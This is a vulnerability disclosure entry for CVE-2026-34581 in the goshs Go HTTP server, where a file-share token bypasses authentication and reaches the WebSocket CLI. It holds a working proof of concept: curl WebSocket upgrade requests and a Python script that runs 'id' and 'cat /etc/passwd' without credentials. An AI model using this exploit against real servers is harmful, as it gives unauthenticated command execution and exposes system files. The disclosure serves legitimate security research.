# goshs has Auth Bypass via Share Token

goshs BasicAuthMiddleware accepts any valid share token before auth checks, letting unauthenticated attackers reach the WebSocket CLI and run commands.

- Payout: Research
- Severity: high
- Program: goshs
- Found by: marduc812
- Disclosed: 2026-04-01
- CVE: CVE-2026-34581
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jgfx-74g2-9r6g
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jgfx-74g2-9r6g
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:go tech:websocket technique:source-review vuln:access-control vuln:auth-bypass vuln:rce

**Target:** goshs HTTP server (BasicAuthMiddleware / WebSocket CLI handler)
**Root cause:** BasicAuthMiddleware validates the ?token= share token before credentials and calls next.ServeHTTP with no auth check; the handler then prioritizes ?ws over ?token, exposing the WebSocket CLI.
**Steps:**
1. Create webroot with `shareable.txt`; start `goshs -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000`
2. Confirm `curl -sk https://localhost:8000/` returns `Not authorized`
3. As admin, `curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'` to get `?token=gMP-w0hXRs-Q-FEZku63kA`
4. Without token, WebSocket upgrade to `/?ws` returns 401
5. With token, upgrade to `/?ws&token=gMP-w0hXRs-Q-FEZku63kA` returns 101 Switching Protocols
6. Send `{"type":"command","Content":"id"}` over the socket to execute commands
**How found:** Code reading of middleware.go: noticed the token check runs before credential checks and returns early, then observed the handler prioritizes ?ws over ?token.
**Exploitation:** Attacker holding any valid share token (single-file, time-limited download link) appends it to a WebSocket upgrade request `/?ws&token=...`; middleware passes the request unauthenticated and the handler treats it as a CLI WebSocket, allowing arbitrary command execution such as `id` and `cat /etc/passwd`.
**Escalation:** Share token intended for one file download escalates to full CLI command execution via the higher-priority ?ws parameter.
**Insight:** When a middleware short-circuits auth on a token, check whether other query params (like ?ws) are dispatched by the handler before the token's intended scope is enforced — token validation and token scoping are separate concerns.

## Proof of concept (copied exactly from the original report)

**WebSocket auth bypass with share token**

```
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401

# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101
```

**Python PoC executing commands via token**

```
import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"  # ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")

# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()
```

**Share link creation request**

```
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

Response:
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}
```

